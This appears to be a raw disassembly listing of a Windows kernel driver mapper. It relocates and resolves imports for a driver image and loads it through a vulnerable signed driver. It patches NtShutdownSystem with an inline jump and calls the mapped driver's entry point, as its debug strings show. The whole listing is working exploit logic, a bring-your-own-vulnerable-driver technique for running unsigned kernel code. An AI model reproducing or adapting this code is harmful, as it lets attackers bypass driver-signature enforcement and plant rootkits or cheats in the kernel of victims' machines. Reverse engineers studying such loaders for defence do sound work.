lea rcx, [rbp - 0x10]
call fcn.140003040
mov rcx, qword [rbp]
mov rdx, qword [rbp - 8]
mov eax, dword [rbx + 4]
add rbx, rax
mov eax, dword [rbx]
test eax, eax
jne 0x140009830
movdqu xmm1, xmmword [rbp - 0x10]
movsd xmm0, qword [rbp]
movsd qword [rbp], xmm0
mov rbx, qword [rbp]
jmp 0x140009905
xorps xmm1, xmm1
xor r15d, r15d
mov ebx, r15d
movq r10, xmm1
psrldq xmm1, 8
movq r11, xmm1
cmp r10, r11
je 0x140009970
lea r9, [r10 + 0x10]
mov r13d, 0xfff
mov r8d, r15d
cmp dword [r9], 0
jbe 0x14000995f
nop dword [rax]
mov ecx, r8d
mov rax, qword [r9 - 8]
movzx edx, word [rax + rcx*2]
movzx eax, dx
shr ax, 0xc
and dx, r13w
cmp ax, 0xa
jne 0x140009957
movzx ecx, dx
mov rax, qword [r9 - 0x10]
add qword [rax + rcx], rdi
inc r8d
cmp r8d, dword [r9]
jb 0x140009930
add r9, 0x18
lea rax, [r9 - 0x10]
cmp rax, r11
jne 0x140009923
mov r13, qword [rbp - 0x68]
test r10, r10
je 0x1400099cb
sub rbx, r10
movabs rax, 0x2aaaaaaaaaaaaaab
imul rbx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 3
mov rax, r10
cmp rdx, 0x1000
jb 0x1400099c3
add rdx, 0x27
mov r10, qword [r10 - 8]
sub rax, r10
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400099c3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r10
call fcn.140010be0
mov rdx, r14
lea rcx, [rbp - 0x10]
call fcn.140001d60
mov rcx, rax
call fcn.140001970
test al, al
jne 0x140009a69
lea rcx, str.____failed_to_resolve_imports_n
call fcn.140001260
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0xe0]
call fcn.140002280
mov rbx, rax
mov qword [rsp + 0x40], rax
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x140009a28
mov rcx, rbx
call fcn.140006e30
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140009407
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140009402
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
jbe 0x1400093ff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdi, qword [rbp - 0x70]
mov r8d, dword [rdi + 0x54]
xor edx, edx
mov rcx, r14
call sub.VCRUNTIME140.dll_memset
mov r9, r12
mov r8, r14
mov rdx, rsi
lea rcx, [rbp - 0x20]
call fcn.14000e9a0
mov ebx, dword [rdi + 0x28]
add rbx, rsi
mov rdx, rbx
lea rcx, str._n___mapped_entry_point___p__n
call fcn.140001260
mov edi, dword [rdi + 0x50]
mov eax, dword [r13]
cmp dword [0x140026ef0], eax
jle 0x140009af6
lea rcx, [0x140026ef0]
call fcn.140010f40
cmp dword [0x140026ef0], 0xffffffff
jne 0x140009af6
lea rcx, [0x140013b68]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140026f00], rax
lea rcx, [0x140026ef0]
call fcn.140010ed4
lea rcx, [0x1400260c0]
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
je 0x140009b13
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
cmp dword [0x14002610c], 0x7fffffff
jne 0x140009b35
mov dword [0x14002610c], 0x7ffffffe
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov dword [rbp + 0x60], 0x25ff
mov word [rbp + 0x64], 0
mov qword [rbp + 0x66], rbx
mov rcx, qword [0x140026e60]
mov r8d, 0xe
lea rdx, [rbp - 0x10]
call fcn.1400072e0
mov rcx, qword [0x140026e60]
mov r8d, 0xe
lea rdx, [rbp + 0x60]
call fcn.140007480
mov rax, qword [0x140026f00]
mov rdx, rdi
mov rcx, rsi
call rax
mov ebx, eax
mov rcx, qword [0x140026e60]
mov r8d, 0xe
lea rdx, [rbp - 0x10]
call fcn.140007480
lea rcx, [0x1400260c0]
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov edx, ebx
lea rcx, str.___driver_entry_returned__0x_x__n
call fcn.140001260
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0xe0]
call fcn.140002280
mov rbx, rax
mov qword [rsp + 0x40], rax
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x140009bf1
mov rcx, rbx
call fcn.140006e30
test al, al
je 0x140009bf1
mov dil, 1
jmp 0x140009bf4
xor dil, dil
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140009c2a
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140009c25
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140009c47
mov rcx, r8
call fcn.140010be0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
test dil, dil
jne 0x140009c4e
lea rcx, str.____unable_to_unload_vulnerable_driver_n
jmp 0x140009c5a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov r13d, r15d
jmp 0x140009c66
lea rcx, str.____unable_to_load_vulnerable_driver_n
call fcn.140001260
mov r13, 0xffffffffffffffff
mov rdx, qword [rbp + 0x148]
cmp rdx, 0xf
jbe 0x140009caa
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009ca5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009ca5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010be0
movdqu xmmword [rbp + 0x140], xmm7
mov byte [rbp + 0x130], 0
jmp 0x140009cfe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea rcx, str.____failed_to_sig_scan_pte_functions_n
call fcn.140001260
mov r13, 0xffffffffffffffff
jmp 0x140009cfe
lea rdx, [rbp + 0x170]
cmp qword [rbp + 0x188], 0xf
cmova rdx, qword [rbp + 0x170]
mov r8d, r14d
lea rcx, str.____failed_to_load___s___0x_x__n
call fcn.140001260
nop
lea rcx, [rbp + 0x150]
call fcn.140006ae0
nop
mov rcx, qword [rbp + 0x90]
test rcx, rcx
je 0x140009d60
mov rdx, qword [rbp + 0xa0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009d49
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009d49
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010be0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], r15
lea rcx, [rbp + 0x2b0]
call fcn.140006b90
mov eax, r13d
mov rcx, qword [rbp + 0x3c0]
xor rcx, rsp
call fcn.140010bc0
lea r11, [rsp + 0x4f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea r8, [rsp + 0x48]
lea rdx, [rbp - 0x10]
lea rcx, str.absolute
call fcn.1400054d0
nop
lea r8, [rbp + 0xa8]
lea rdx, [rbp - 0x10]
lea rcx, str.absolute
call fcn.1400054d0
int3